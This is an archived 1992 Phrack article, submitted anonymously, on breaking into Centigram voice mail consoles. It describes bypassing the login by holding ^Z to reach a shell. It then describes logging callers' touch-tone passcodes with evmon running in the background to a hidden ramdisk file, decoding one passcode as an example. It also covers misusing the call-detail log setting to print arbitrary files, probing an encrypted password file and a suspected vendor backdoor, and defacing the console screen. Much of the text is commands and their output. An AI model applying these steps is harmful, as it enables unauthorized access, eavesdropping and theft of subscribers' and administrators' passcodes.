💾 Archived View for aphrack.org › issues › phrack39 › 6.gmi captured on 2021-12-04 at 18:04:22. Gemini links have been rewritten to link to archived content
View Raw
More Information
⬅️ Previous capture (2021-12-03)
-=-=-=-=-=-=-
==Phrack Inc.==
Volume Four, Issue Thirty-Nine, File 6 of 13
Centigram Voice Mail System Consoles
Proper Entry Procedure, Design Flaws, and Security Bugs
by >Unknown User<
- ** Note from Phrack Staff: This file was submitted to Phrack anonymously. ***
- ** The author used SMTP fake mail to send it to the Phrack e-mail address. ***
- ** Phrack cannot make any claims about the validity or the source of the ***
- ** information found in this article. ***
Due to more efficient task-handling and the desire for a more "Unix-like"
environment, the developers at Centigram needed for certain key functions to be
available at all times. For instance, the ^Z key acts as the "escape" key
(these can be remapped, if desired). When necessary for some applications to
use an "escape" procedure, pressing this key can, in at least a few cases,
cause a drop to shell, or /cmds/qnxsh (possibly /cmds/sh, as well, but I'm used
to seeing qnxsh). If this escape procedure was invoked during, say,
/cmds/login, the resulting drop to shell would by-pass the "Enter Passcode:"
message. And it does.
After calling the Centigram, normal procedure is to hit ^Z to activate the
terminal, followed by the entry of the remote or console passcodes, and then
proceeding with normal console activities. However, if ^Z is continually
depressed during the login sequence, the login program will abort and run
/cmds/qnxsh. The behavior may be somewhat erratic by the repeated use of the
escape key, but when the $ prompt appears, usually, it doesn't deliberately go
away without an "exit" command or a ^D. Typically, a login pattern can develop
to accommodate the erratic behavior something along the lines of: continuously
depress ^Z until $ prompt appears, hit return, possibly get "Enter Passcode:"
message, hit return, and $ prompt appears again, set proper TTY setting, and
change directory appropriately, and continue with normal console functions.
Initial STTY Setting:
I've had problems with my terminal settings not being set properly during
the above entry procedure. I can correct this by using the "stty +echo +edit"
command, and, for my terminal, all is restored. The correct values for STTY
options and keys appear to be:
Options: +echo +edit +etab +ers +edel +oflow +mapcr +hangup
break=03h esc=1Ah rub=7Fh can=18h eot=04h up=15h
down=0Ah left=08h ins=0Eh del=0Bh
The keymap, of course, can be modified as desired, but the options,
especially +edit, appear to be necessary.
Disks and Directories:
The drives and directories are set up in a remotely MessDos fashion. The
output of a "pwd" command looks similar to "4:/". "4:" represents the drive
number, and "/" is the start of the directory structure, "4:/" being the root
directory for drive 4, "3:/tmp" being the /tmp directory on drive 3, etc.
The two most important directories are 1:/cmds and 4:/cmds, which contain,
for the most part, the program files for all of the performable commands on the
system, excluding the commands written into the shell. The directory 1:/cmds
should look similar to:
$ ls
backup drel ls rm talk
chattr eo mkdir rmdir tcap
choose fdformat mount runfloppy timer
clrhouse files p search tsk
cp frel pack sh unpack
date get_boolean patch slay ws
ddump led pwd sleep zap
diff led.init qnxsh spatch
dinit login query stty
This is a display of many useful commands. chattr changes the read/write
file attributes, cp is copy, ddump dumps disk sectors in hex & ascii, led is
the line editor, p is the file print utility, and a variety of other things
that you can experiment with at your own leisure. DO NOT USE THE TALK COMMAND.
At least, be careful if you do. If you try to communicate with your own
terminal, it locks communication with the shell, and upon hangup, for some
reason, causes a major system error and system-wide reboot, which, quite
frankly, made me say, "Oops. I'm not doing that again" when I called to check
on the actual voice mailboxes, and the phone line just sat there, dead as old
wood. I was quite relieved that it came back up after a few minutes.
The other directory, 4:/cmds, is filled with more specific commands
pertaining to functions within the voice mail system itself. These programs
are actually run from within other programs to produce an easy-to-understand
menu system. Normally, this menu system is immediately run after the entry of
the remote or console passcode, but it would not be run when using the
aforementioned security bug. It can be run from the shell simply by typing the
name of the program, console.
Mounting and Initializing Drives:
The MOUNT command produces results similar to this when run without
arguments:
$ mount
Drive 1: Hard, 360k, offset = 256k, partition= Qnx
Drive 2: Floppy, 360k, p=1
Drive 3: RamDisk, 96k, partition= Qnx
Drive 4: Hard, 6.1M, offset = 616k, partition= Qnx
$tty0 = $con , Serial at 03F8
$tty1 = $term1 , Serial at 02F8
$tty2 = $term2 , Serial at 0420
$tty3 = $mdm , Serial at 0428
The hard and floppy drives are fairly self-explanatory, although I can't
explain why they appear to be so small, nor do I know where the voice
recordings go, or if this list contain all the space required for voice
storage.
The ramdisk, however, is a bit more interesting to me. The mount command
used for the above-mentioned disk 3 was:
$ mount ramdisk 3 s=96k -v
Although I'm not sure what the -v qualifier does, the rest is fairly
straight forward. I assume that the size of the drive can be greater than 96k,
although I haven't yet played with it to see how far it can go. To initialize
the drive, the following command was used:
$ dinit 3
Quite simple, really. Now, the drive is ready for use so one can "mkdir
3:/tmp" or some such and route files there as desired, or use it for whatever
purpose. If something is accidentally redirected to the console with >$cons,
you can use the line editor "led" to create a temporary file and then use the
print utility "p" to clear the console's screen by using "p filename >$cons"
where filename contains a clear screen of 25 lines, or an ANSI bomb (if
appropriate), or a full-screen DobbsHead or whatever you like.
EVMON and password collecting:
The evmon utility is responsible for informing the system manager about
the activity currently taking place within the voice mail system. Run alone,
evmon produces output similar to:
$ evmon
Type Ctrl-C to terminate.
ln 26 tt 3
ln 26 line break
ln 26 onhook
ln 28 ringing
ln 28 tt 8
ln 28 tt 7
ln 28 tt 6
ln 28 tt 2
ln 28 offhook
ln 28 tt *
ln 28 tt 2
ln 28 tt 0
ln 28 tt 3
ln 28 tt 0
ln 28 line break
ln 28 onhook
[...]
And so forth. This identifies a certain phone line, such as line 28, and a
certain action taking place on the line, such as the line ringing, going on or
offhook, etc. The "tt" stands for touch tone, and it is, of course, the tone
currently played on the line; which means that touchtone entry of passcodes can
be recorded and filed at will. In the above example, the passcode for Mailbox
8762 is 2030 (the * key, along with the 0 key, can acts as the "user entering
mailbox" key; it can, however, also be the abort key during passcode entry, and
other things as well). Now the user, of course, doesn't usually dial 8762 to
enter his mailbox; he simply dials the mailbox number and then * plus his
passcode; the reason for this is the type of signalling coming from the switch
to this particular business line was set-up for four digit touch tone ID to
route the line to the appropriate called number. This is not the only method
of signalling, however, as I've seen other businesses that use three digit
pulse signalling, for example, and there are others as well. Each may have
it's own eccentricities, but I would imagine that the line ID would be
displayed with EVMON in most cases.
Now, let's say we're on-line, and we want to play around, and we want to
collect passcodes. We've set up our ramdisk to normal size and we are ready to
run evmon. We could run it, sit at our terminal, and then record the output,
but it's such a time consuming task (this is "real-time," after all) that
sitting and waiting be nearly pointless. So, we use the handy features of
run-in-background and file-redirection (see, I told you we were getting
"Unix-like").
$ evmon > 3:/tmp/output &
Type Ctrl-C to terminate.
5e1e
$ ...
5e1e is the task ID (TID) of the new evmon process. Now we can go off and
perform whatever lists we want, or just play in the directories, or route
DobbsHeads or whatever. When we decide to end for the day, we simply stop
EVMON, nab the file, remove it, and if necessary, dismount the ramdisk.
$ kill 5e1e
$ p 3:/tmp/output
[ EVMON output would normally appear; if, however, ]
[ there is none, the file would be deleted during ]
[ the kill with an error message resulting ]
$ rm 3:/tmp/output
$ rmdir 3:/tmp
$ mount ramdisk 3
and now we can ^D or exit out of the shell and say good-bye.
The good thing about this EVMON procedure is that you don't need to be
on-line while it runs. You could start a task sometime at night and then wait
until the next day before you kill the process and check your results. This
usually produces large log files anywhere from 40K to 200K, depending upon the
amount of system usage (these figures are rough estimates). If, however, you
start the EVMON task and leave it running, then the administrator will not be
able to start a new EVMON session until the old task is killed. While this
probably shouldn't be a problem over the weekends, during business hours it may
become a little risky.
Remember though, that the risk might be worth it, especially if the
administrator decides to check his mailbox; you'd then have his passcode, and,
possibly, remote telephone access to system administrator functions via touch-
tone on the mailbox system.
Task management:
As we have just noted, any task like EVMON can be run in the background by
appending the command line with a &, the standard Unix "run-in-background"
character. A Task ID will echo back in hexadecimal, quite comparable to the
Unix Process ID. The program responsible for task management is called "tsk"
and should be in 1:/cmds/tsk. Output from running tsk alone should look
something like:
$ tsk
Tty Program Tid State Blk Pri Flags Grp Mem Dad Bro Son
0 task 0001 READY ---- 1 ---IPLA----- 255 255 ---- ---- ----
0 fsys 0002 RECV 0000 3 ---IPLA----- 255 255 ---- ---- ----
0 dev 0003 RECV 0000 2 ---IPLA----- 255 255 ---- ---- ----
0 idle 0004 READY ---- 15 ----PLA----- 255 255 ---- ---- 0508
0 /cmds/timer 0607 RECV 0000 2 -S--P-AC---- 255 255 ---- ---- ----
0 /cmds/err_log 0509 RECV 0000 5 -S--P--C---- 255 255 0A0A ---- ----
0 /cmds/ovrseer 0A0A REPLY 0607 5 -S--P--C---- 255 255 ---- ---- 030C
0 /cmds/recorder 010B REPLY 0509 5 -S--P--C---- 255 255 0A0A 0509 ----
0 /cmds/master 030C REPLY 0607 5 -S--P--C---- 255 255 0A0A 010B 011C
[ ... a wide assortment of programs ... ]
0 /cmds/vmemo 011C REPLY 0110 13 -S-----C---- 255 255 030C 011B ----
3 /cmds/comm 0508 RECV 5622 8 ----P-A----- 255 255 0004 ---- 5622
3 /cmds/tsk 051D REPLY 0001 8 ------------ 255 255 301E ---- ----
3 /cmds/qnxsh 301E REPLY 0001 14 ---------E-- 255 255 5622 ---- 051D
3 /cmds/login 5622 REPLY 0003 8 -------C---- 255 255 0508 ---- 301E
Although I'm not quite sure at some of the specifics displayed in this
output, the important parts are obvious. The first column is the TTY number
which corresponds to the $tty list in "mount" (meaning that the modem I've just
called is $tty3, and I am simultaneously running four tasks from that line);
the second column is the program name (without the drive specification); the
third column is the task ID; the middle columns are unknown to me; and the last
three represent the ties and relations to other tasks (parent task ID, another
task ID created from the same parent, and task ID of any program called).
Knowing this, it's easy to follow the tasks we've created since login.
Initially, task 0508, /cmds/comm, was run, which presumably contains the
requisite "what should I do now that my user has pressed a key?" functions,
which called /cmds/login to log the user in. Login was interrupted with ^Z and
one of the shells, qnxsh, was called to handle input from the user. Finally,
the typing of "tsk" requires that the /cmds/tsk program be given a task ID, and
the output of the program is simply confirming that it exists.
As mentioned, to kill a task from the shell, simply type "kill [task-id]"
where [task-id] is the four digit hexadecimal number.
There are other functions of the tsk program as well. The help screen
lists:
$ tsk ?
use: tsk [f={cmoprst}] [p=program] [t=tty] [u=userid]
tsk code [p=program]
tsk info
tsk mem t=tid
tsk names
tsk size [p=program] [t=tty] [u=userid]
tsk ports
tsk tsk
tsk tree [+tid] [+all] [-net]
tsk users [p=program] [t=tty] [u=userid]
tsk vcs
tsk who tid ...
options: +qnx -header +physical [n=]node s=sort_field
I haven't seen all the information available from this, yet, as the plain
"tsk" tells me everything I need to know; however, you may want to play around:
there's no telling what secrets are hidden...
$ tsk tsk
Tsk tsk? Have I been a bad computer?
See what I mean?
ddump:
The ddump utility is used to display the contents on a specified blocks of
the disk. It's quite simple to use.
$ ddump ?
use: ddump drive block_number [-v]
Again, I'm not quite sure what the -v switch does, but the instructions
are very straightforward. Normal output looks similar to:
$ ddump 3 3
Place diskette in drive 3 and hit <CR> <-- this message is always
displayed by ddump.
Block 00000003 Status: 00
000: 00 00 00 00 00 00 00 00 94 00 00 00 00 00 00 00 ................
010: 01 00 01 00 40 02 00 00 00 02 00 00 00 00 00 00 ....@...........
020: 00 01 00 FF FF 00 00 97 37 29 17 00 01 01 01 30 ........7).....0
030: C4 17 8E 62 69 74 6D 61 70 00 00 00 00 00 00 00 ...bitmap.......
040: 00 00 00 00 C0 00 00 00 00 00 00 00 00 00 00 00 ................
050: 00 00 00 FF FF 00 00 A5 37 29 17 00 01 01 17 30 ........7).....0
060: C4 25 8E 6C 6C 6C 00 00 00 00 00 00 00 00 00 00 .%.lll..........
070: 00 00 00 00 50 0E 00 00 00 0E 00 00 00 00 00 00 ....P...........
080: 00 01 00 FF FF 7E 05 A8 38 29 17 00 01 01 17 30 .....~..8).....0
090: C4 28 8F 61 62 63 00 00 00 00 00 00 00 00 00 00 .(.abc..........
0A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
[...etc...]
As you can probably notice, what we have here is the directory track for
the ramdisk. It lists three files, even though the file abc no longer exists.
The actual bytes have yet to be decoded, but, as far as the ramdisk goes, I
suspect that they'll be memory related, and not physical block related; that
is, I suspect that some of the numbers given above correspond to the memory
address of the file, and not to the actual disk-block. So, at least for the
ramdisk, finding specific files may be difficult. However, if you only have
one file on the ramdisk besides "bitmap" (which appears to be mandatory across
all the disks), then the next file you create should reside on track 4 and
continue working its way up. Therefore, if you have evmon running and
redirected to a file on the ramdisk, in order to check the contents, it's not
necessary to kill the process and restart evmon, etc. Simply "ddump 3 4" and
you could get either useless information (all the bytes are 00 or FF), or you
could get something like:
$ ddump 3 4
Place diskette in drive 3 and hit <CR>
Block 00000004 Status: 00
000: 00 00 00 00 00 00 00 00 00 00 00 00 09 00 00 00 ................
010: 6C 6E 20 20 32 36 20 74 74 20 33 1E 6C 6E 20 20 ln 26 tt 3.ln
020: 32 36 20 6C 69 6E 65 20 62 72 65 61 6B 1E 6C 6E 26 line break.ln
030: 20 20 32 36 20 6F 6E 68 6F 6F 6B 1E 6C 6E 20 20 26 onhook.ln
040: 32 38 20 72 69 6E 67 69 6E 67 1E 6C 6E 20 20 32 28 ringing.ln 2
050: 38 20 74 74 20 38 1E 6C 6E 20 20 32 38 20 74 74 8 tt 8.ln 28 tt
060: 20 37 1E 6C 6E 20 20 32 38 20 74 74 20 36 1E 6C 7.ln 28 tt 6.l
070: 6E 20 20 32 38 20 74 74 20 32 1E 6C 6E 20 20 32 n 28 tt 2.ln 2
080: 38 20 6F 66 66 68 6F 6F 6B 1E 6C 6E 20 20 32 38 8 offhook.ln 28
090: 20 74 74 20 2A 1E 6C 6E 20 20 32 38 20 74 74 20 tt *.ln 28 tt
And so forth, thus making sure that the file does have some content.
Depending upon the length of that content, you could then choose to either keep
the file running, or restart evmon and buffer the previous output.
led:
The program "led" is Centigram's answer to a standard text editor. It is
equivalent to "ed" in Unix or "edlin" in MS-DOS, but it does have its minor
differences. "led" is used to create text files, edit existing log files, or
edit executable shell scripts. By typing "led [filename]", you will enter the
led editor, and if a filename is specified, and it exists, the file will be
loaded and the editor set to line 1. If there is no filename on the command
line, the file does not exist, or the file is busy, then led begins editing a
null file, an empty buffer, without the corresponding filename.
Commands can also be specified to be used in led after the filename is
entered. If needed, you can experiment with this.
Notable commands from within led:
i insert
a append
w [filename] write to disk; if no file is named, attempt to
write to current file; if there is no current
file, do not write.
d delete current line
a number goto line numbered
q quit (if not saved, inform user to use "qq")
qq really quit
When inserting or appending, led will prompt you with a "." period. To
end your entry, simply enter one period alone on a line and you will then
return to command mode. When displaying the current entry, led will prefix all
new, updated lines, with the "i" character.
The key sequence to enter a DobbsHead into a file and redirect it to the
console, then, would be:
$ led 3:/dobbshead
3:/dobbshead : unable to match file
i
. ___
. . / \
. . | o o |
. . | Y |
. U===== |
. \___/
. FUCK YOU!
q
?4 buffer has been modified, use qq to quit without saving
w 3:/dobbshead
7 [the number of lines in the file]
q
$ p 3:/dobbshead > $cons
$ rm 3:/dobbshead
Ok, so it's not quite the DobbsHead. Fuck you.
The console utility:
The program that acts as the menu driver for the Voice Mail System
Administration, the program that is normally run upon correct passcode entry,
is /cmds/console. This program will simply produce a menu with a variety of
sub-menus that allow the administrator to perform a wide assortment of tasks.
Since this is mostly self-explanatory, I'll let you find out about these
functions for yourself; I will, however, add just a few comments about the
console utility. The first menu received should look like this:
(c) All Software Copyright 1983, 1989 Centigram Corporation
All Rights Reserved.
MAIN MENU
(M) Mailbox maintenance
(R) Report generation
(S) System maintenance
(X) Exit
Enter letter in () to execute command.
When you need help later, type ?.
COMMAND (M/R/S/X):
The mailbox maintenance option is used when you want to find specific
information concerning mailboxes on the system. For instance, to get a listing
of all the mailboxes currently being used on the system:
COMMAND (M/R/S/X): m
MAILBOX MAINTENANCE
(B) Mailbox block inquiry
(C) Create new mailboxes
(D) Delete mailboxes
(E) Mailbox dump
(I) Inquire about mailboxes
(L) List maintenance
(M) Modify mailboxes
(P) Set passcode/tutorial
(R) Rotational mailboxes
(S) Search for mailboxes
(X) Exit
If you need help later, type ?.
COMMAND (B/C/D/E/I/L/M/P/R/S/X): i
Report destination (c/s1/s2) [c]:
Mailbox to display: 0000-9999
>>> BOBTEL <<<
Mailbox Data Inquiry
Tue Mar 31, 1992 3:07 am
Box Msgs Unp Urg Rec Mins FCOS LCOS GCOS NCOS MWI Passwd
8001 1 1 0 0 0.0 5 5 1 1 None Y
8002 0 0 0 0 0.0 5 5 1 1 None Y (t)
8003 0 0 0 0 0.0 12 12 1 1 None Y
8005 0 0 0 0 0.0 12 12 1 1 None Y
8006 6 6 0 0 0.7 12 12 1 1 None N
8008 0 0 0 0 0.0 5 5 1 1 None Y
8013 0 0 0 0 0.0 12 12 1 1 None 1234
8014 0 0 0 0 0.0 5 5 1 1 None Y
8016 0 0 0 0 0.0 12 12 1 1 None Y
[ ... etc ... ]
This simply lists every box along with the relevant information concerning
that box. Msgs, Unp, Urg, Rec are the Total number of messages, number of
unplayed messages, number of urgent messages, and number of received messages
currently being stored on the drive for the mailbox; Mins is the numbers of
minutes currently being used by those messages; F, L, G, and NCOS are various
classes of service for the mailboxes; MWI is the message waiting indicator, or
service light; and Passwd is simply a Yes/No condition informing the
administrator whether the mailbox currently has a password. The "(t)" in the
password field means the box is currently in tutorial mode, and the "1234" that
replaces the Y/N condition, which means the box is set to initial tutorial mode
with simple passcode 1234 -- in other words the box is available to be used by
a new subscriber. Mailboxes with FCOS of 1 should be looked for: these
represent administration or service mailboxes, although they are not
necessarily capable of performing system administration functions.
The System Maintenance option from the main menu is very useful in that,
if you don't have access to the qnxsh, you can still run a number of tasks or
print out any file you wish from within the menu system. The System
Maintenance menu looks like:
SYSTEM MAINTENANCE
(A) Automatic Wakeup
(B) Automated Receptionist Extensions
(D) Display modem passcode
(E) Enable modem/serial port
(F) Floppy backup
(G) Resynchronize HIS PMS room status
(H) Hard Disk Utilities
(L) Lights test
(M) Manual message purge
(N) System name
(P) Passcode
(R) Reconfiguration
(S) System shutdown
(T) Time and date
(U) Utility menu
(V) Call Detail Recorder
(W) Network menu
(X) Exit
Enter letter in () to execute command.
When you need help later, type ?.
COMMAND (A/B/D/E/F/G/H/L/M/N/P/R/S/T/U/V/W/X):
If you don't have access to the "p" command, you can still display any
specific file on the drive that you wish to see. Choose "v," the Call Detail
Recorder option from above, and you will get this menu:
COMMAND (A/B/D/E/F/G/H/L/M/N/P/R/S/T/U/V/W/X): v
Warning: cdr is not running.
CALL DETAIL RECORDER MENU
(C) Configure CDR
(R) Run CDR
(T) Terminate CDR
(E) Run EVMON
(F) Terminate EVMON
(S) Show CDR log file
(D) Delete CDR log file
(X) Exit
If you need help later, type ?.
COMMAND (C/R/T/E/F/S/D/X):
From here, you can use (C) Configure CDR to set the log file to any name
that you want, and use (S) to print that file to your terminal.
COMMAND (C/R/T/E/F/S/D/X): c
Answer the following question to configure call detail recorder
[ simply hit return until the last "filename" question come up ]
VoiceMemo line numbers enabled:
HOST 1 lines:
0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
VoiceMemo line numbers:
EVMON: HOST 1 lines to monitor:
0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
EVMON:VoiceMemo line numbers:
Message levels are:
1: Detailed VoiceMemo
2: VoiceMemo
3: Pager
4: Receptionist
5: EVMON
6: Automatic WakeUp
7: Open Account Administrator
8: DTMF to PBX
9: Message Waiting Lamp
10: SL-1 integration
11: Centrex Integration
Message levels enabled:
2 3 7 9
Message levels:
cdr enable = [N]
Enter filename to save log data = [/logfile] /config/remote.cmds
Returning from the CDR configuration.
CALL DETAIL RECORDER MENU
(C) Configure CDR
(R) Run CDR
(T) Terminate CDR
(E) Run EVMON
(F) Terminate EVMON
(S) Show CDR log file
(D) Delete CDR log file
(X) Exit
If you need help later, type ?.
COMMAND (C/R/T/E/F/S/D/X): s
ad
cd
copy
date
dskchk
evmon
files
ls
mount
p
pwd
query
task
tcap
what
Don't forget to return the filename back to its original name as shown in
the [] field after you have finished.
If you don't have access to the shell, you can also run EVMON, from the
CDR menu, using option E. It will simply start the evmon process displaying to
your terminal, interruptable by the break character, ^C. This, unfortunately,
cannot be redirected or run in the background as tasks running from the shell
can. If, however, you have some time to kill, you may want to play with it.
Also, from the System Maintenance menu, you can perform a number of shell
tasks without direct access to the shell. Option (U), Utilities Menu, has an
option called Task. This will allow you limited shell access, possibly with
redirection and "&" back-grounding.
COMMAND (A/B/D/E/F/G/H/L/M/N/P/R/S/T/U/V/W/X): U
UTILITY MENU
(B) Reboot
(H) History
(T) Task
(X) Exit
Enter letter in () to execute command.
When you need help later, type ?.
COMMAND (B/H/T/X): t
Choose the following commands:
ad cd copy date
dskchk evmon files ls
mount p pwd query
task tcap what
Enter a command name or "X" to exit: pwd
1:/
Choose the following commands:
ad cd copy date
dskchk evmon files ls
mount p pwd query
task tcap what
Enter a command name or "X" to exit: evmon
Type Ctrl-C to terminate.
ln 29 ringing
ln 29 tt 8
ln 29 tt 0
ln 29 tt 8
ln 29 tt 6
ln 29 offhook
ln 29 record ended
[ ... etc ... ]
A look at "ad":
The program "ad" is called to dump information on a variety of things, the
most useful being mailboxes. Dumps of specific information about a mailbox can
be done either in Mailbox format, or Raw Dump format. Mailbox format looks
like:
$ ad
Type #: 0
Mailbox #: 8486
(M)ailbox, (D)ump ? m
MAILBOX: 8486
Login status:
Bad logs = 3 Last log = 03/26/92 12:19 pmVersion = 0
Configuration:
Name # = 207314 Greeting = 207309 Greeting2 = 0
Passcode = XXXXXXXXXX Tutorial = N Extension = 8486
Ext index = 0 Attendant = Attend index = 0
Code = ID = BOBTECH
Day_treat = M Night_treat = M Fcos = 12
Lcos = 12 Gcos = 1 Ncos = 1
Rot index = 0 Rot period = 0
Rot start = --
wkup defined = N wkup freq = 0 wkup_intvl = 0
wkup index = 0 wkup number =
Contents:
Motd_seq = 8 Motd_played = N User_msgs = 0
Caller_msgs = 4 Sent_cpx_msgs= 0 Sent_fdx_msgs= 0
Sent_urg_msgs= 0 Tas_msgs = 0 Pages = 0
Receipt = 0 Sent_to_node = 0 Urg_to_node = 0
Net_urg_mlen = 0 Net_msgs_rcv = 0 Net_urg_rcv = 0
Net_sent_node= 0 Net_send_nurg= 0 Net_send_rcp = 0
Greet_count = 9 Successlogins= 1 Recpt_calls = 0
Recpt_complt = 0 Recpt_busy = 0 Recpt_rna = 0
Recpt_msgs = 0 Recpt_attend = 0 User_connect = 20
Clr_connect = 22 Callp_connect= 0 Disk_use = 498
Net_sent_mlen= 0 Net_rcvd_mlen= 0 Net_rcvd_urg = 0
Net_node_mlen= 0 Net_recip_mlen=0 Net_node_urg = 0
Text_msg_cnt = 0
Message Queues:
TYPE COUNT TOTAL HEAD TAIL TYPE COUNT TOTAL HEAD TAIL
Free 71 --- 58 55 Unplayed 0 --- -1 -1
Played 2 0.5 56 57 Urgent 0 --- -1 -1
Receipts 0 --- -1 -1 Undelivered 0 --- -1 -1
Future delivery 0 --- -1 -1 Call placement 0 --- -1 -1
Messages: 2
# msg # DATE TIME LENGTH SENDER PORT FLAGS MSG SIBL
(MINS) NXT PRV NXT PRV
Played Queue
56 207126 03/26/92 12:17 pm 0.5 000000000000000 27 ------P- 57 -1 -1 -1
57 207147 03/26/92 12:19 pm 0.1 000000000000000 29 ------P- -1 56 -1 -1
The Raw Dump format looks like:
$ ad
Type #: 0
Mailbox #: 8487
(M)ailbox, (D)ump ? d
HEX: 8487
000: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 |................|
010: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 |................|
020: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 34 38 |..............48|
030: 37 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 |7...............|
040: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 |................|
050: 00 00 00 00 00 00 00 00 - 00 00 42 49 4f 54 45 43 |..........BOBTEC|
060: 48 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 |H...............|
070: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 |................|
080: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 37 32 33 |.............723|
090: 36 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 |6...............|
0a0: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 |................|
0b0: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 |................|
0c0: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 |................|
[mostly deleted -- the list continues to hex fff.]
One of the unfortunate aspects is that the password is not displayed in
the Mailbox format (Awwww!). I can tell you now, though, that it also isn't
displayed anywhere in the Raw Dump format. The program "asetpass" was used to
change the password of a test mailbox, and both full dumps were downloaded and
compared; they matched exactly. So, it looks like the passcodes are probably
stored somewhere else, and the dump simply contains a link to the appropriate
offset; which means the only way, so far, to get passcodes for mailboxes is to
capture them in EVMON.
Intricacies of the login program:
The console login program is 1:/cmds/login. Although I can't even
recognize any valid 8080 series assembly in the program (and I'm told the
Centigram boxes run on the 8080 family), I did manage to find a few interesting
tidbits inside of it. First, the console and remote passwords seems to be
stored in the file /config/rates; unfortunately, it's encrypted and I'm not
going to try to break the scheme. /config/rates looks like this:
$ p /config/rates
\CE\FFC~C~\0A\00\00\00\00\00\0A\00\00\00\00\00\0A\00\00\00\00\00\0A\00\00\00\00
\00\0A\00\00\00\00\00\0A\00\00\00\00\00\0A\00\00\00\00\00\00\00\00\00\00\00\00
\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00
Accepting the \CE as some sort of control byte, this file is divided up
into about eight empty sections of five bytes a piece, mostly null, indicating
that, possibly, there are a number of acceptable passcode combinations, or a
number of different functions with different passcodes. In this instance, only
one passcode appears to be selected. I am still unsure, however, whether this
is actually a password file, or a file that would act as a pointer to another
space on the disk which contains the actual password. I would assume, for this
login program, that it is actually an encrypted password.
Another very interesting thing sleeping within the confines of the login
program is the inconspicuous string "QNX." It sits in the code between two
"Enter Passcode:" prompts, separated by \00s. I believe this to be a system
wide backdoor placed into the login program by Centigram, Corp. Such a thing
does exist; whenever Centigram wants to get into a certain mailbox system to
perform maintenance or solve a problem, they can. They may, however, require
the serial number of the machine or of the hard drive, in order to get this
access. This serial number would be provided by the company requiring service.
When logging in with QNX, a very strange thing happens.
(^Z)
Enter Passcode: (QNX^M) Enter Passcode:
A second passcode prompt appears, a prompt in which the "QNX" passcode
produces an Invalid Passcode message. I believe that when Centigram logs in
from remote, they use this procedure, along with either a predetermined
passcode, or a passcode determined based on a serial number, to access the
system. I have not ever seen this procedure actually done, but it is the best
speculation that I can give.
I should also make note of a somewhat less important point. Should the
console have no passcodes assigned, a simple ^Z for terminal activation will
start the /cmds/console program, and log the user directly in without prompting
for a passcode. The odds on finding a Centigram like this, nowadays, is
probably as remote as being struck by lightning, but personally, I can recall a
time a number of years back when a Florida company hadn't yet passcode
protected a Centigram. It was very fun to have such a large number of people
communicating back and forth in normal voice; it was even more fun to hop on
conferences with a number of people and record the stupidity of the average
Bell operator.
Special Keys or Strings:
There are a number of special characters or strings that are important to
either the shell or the program being executed. Some of these are:
? after the program name, gives help list for that program.
& runs a task in the background
: sets the comment field (for text within shell scripts)
; command delimiter within the shell
> redirects output of a task to a file
< (theoretically) routes input from a file
$cons the "filename" of the console (redirectable)
$tty# the "filename" of tty number "#"
$mdm the "filename" of the modem line
#$ ? produces a value like "1920", "321d"
probably the TID of the current process
## ? produces a value like "ffff"
#% ? produces a value like "0020", "001d"
#& ? produces a value like "0000"
#? ? produces a value like "0000"
#* a null argument
#g ? produces a value like "00ff"
#i directly followed by a number, produces "0000"
not followed, produces the error "non-existent integer variable" probably
used in conjunction with environment variables
#k accepts a line from current input (stdin) to be
substituted on the command line
#m ? "00ff"
#n ? "0000"
#p ? "0042"
#s produces the error "non-existent string variable" probably used in
conjunction with environment variables
#t ? "0003"
#u ? some string similar to "system"
#D ? "0018"
#M ? "0004"
#Y ? "005c"
"Centigram Voice Mail System Consoles" was written anonymously. There are no
group affiliations tied to this file.
_______________________________________________________________________________